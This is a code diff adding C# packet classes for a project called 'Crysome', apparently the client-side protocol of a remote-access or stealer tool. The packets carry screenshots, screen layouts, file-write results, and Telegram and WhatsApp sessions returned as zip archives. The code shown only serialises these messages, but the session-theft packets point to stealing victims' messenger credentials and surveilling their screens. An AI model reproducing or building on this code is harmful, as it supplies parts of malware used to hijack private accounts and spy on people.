@@ -0,0 +1,16 @@
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ScreenInfo
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int X { get; set; }
|
||||
|
||||
public int Y { get; set; }
|
||||
|
||||
public int Width { get; set; }
|
||||
|
||||
public int Height { get; set; }
|
||||
|
||||
public bool IsPrimary { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class ScreensResponsePacket : IPacket
|
||||
{
|
||||
public ScreenInfo[] Screens { get; set; } = Array.Empty<ScreenInfo>();
|
||||
|
||||
public ScreensResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ScreensResponsePacket(ScreenInfo[] screens)
|
||||
{
|
||||
Screens = screens ?? Array.Empty<ScreenInfo>();
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
ScreenInfo[] screens = Screens;
|
||||
w.Write((screens != null) ? screens.Length : 0);
|
||||
if (Screens != null)
|
||||
{
|
||||
ScreenInfo[] screens2 = Screens;
|
||||
foreach (ScreenInfo screenInfo in screens2)
|
||||
{
|
||||
w.Write(screenInfo.Name ?? "");
|
||||
w.Write(screenInfo.X);
|
||||
w.Write(screenInfo.Y);
|
||||
w.Write(screenInfo.Width);
|
||||
w.Write(screenInfo.Height);
|
||||
w.Write(screenInfo.IsPrimary);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int num = r.ReadInt32();
|
||||
Screens = new ScreenInfo[num];
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
Screens[i] = new ScreenInfo
|
||||
{
|
||||
Name = r.ReadString(),
|
||||
X = r.ReadInt32(),
|
||||
Y = r.ReadInt32(),
|
||||
Width = r.ReadInt32(),
|
||||
Height = r.ReadInt32(),
|
||||
IsPrimary = r.ReadBoolean()
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class TakeScreenshotResponsePacket : IPacket
|
||||
{
|
||||
public byte[] ImageData { get; set; }
|
||||
|
||||
public TakeScreenshotResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public TakeScreenshotResponsePacket(byte[] imageData)
|
||||
{
|
||||
ImageData = imageData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write((ImageData != null) ? ImageData.Length : 0);
|
||||
if (ImageData != null)
|
||||
{
|
||||
w.Write(ImageData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
int count = r.ReadInt32();
|
||||
ImageData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class TelegramSessionResponsePacket : IPacket
|
||||
{
|
||||
public string UserName { get; set; }
|
||||
|
||||
public byte[] ZipBytes { get; set; }
|
||||
|
||||
public string Error { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(UserName ?? "");
|
||||
w.Write(Error ?? "");
|
||||
byte[] zipBytes = ZipBytes;
|
||||
w.Write((zipBytes != null) ? zipBytes.Length : 0);
|
||||
if (ZipBytes != null && ZipBytes.Length != 0)
|
||||
{
|
||||
w.Write(ZipBytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
UserName = r.ReadString();
|
||||
Error = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
ZipBytes = ((num > 0) ? r.ReadBytes(num) : Array.Empty<byte>());
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class WhatsAppSessionResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public byte[] ZipData { get; set; }
|
||||
|
||||
public WhatsAppSessionResponsePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public WhatsAppSessionResponsePacket(bool success, string errorMessage, byte[] zipData)
|
||||
{
|
||||
Success = success;
|
||||
ErrorMessage = errorMessage ?? "";
|
||||
ZipData = zipData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
int num = ((ZipData != null) ? ZipData.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(ZipData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
int num = r.ReadInt32();
|
||||
ZipData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Client;
|
||||
|
||||
public class WriteFileResponsePacket : IPacket
|
||||
{
|
||||
public bool Success { get; set; }
|
||||
|
||||
public string ErrorMessage { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Success);
|
||||
w.Write(ErrorMessage ?? "");
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Success = r.ReadBoolean();
|
||||
ErrorMessage = r.ReadString();
|
||||
TransferId = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user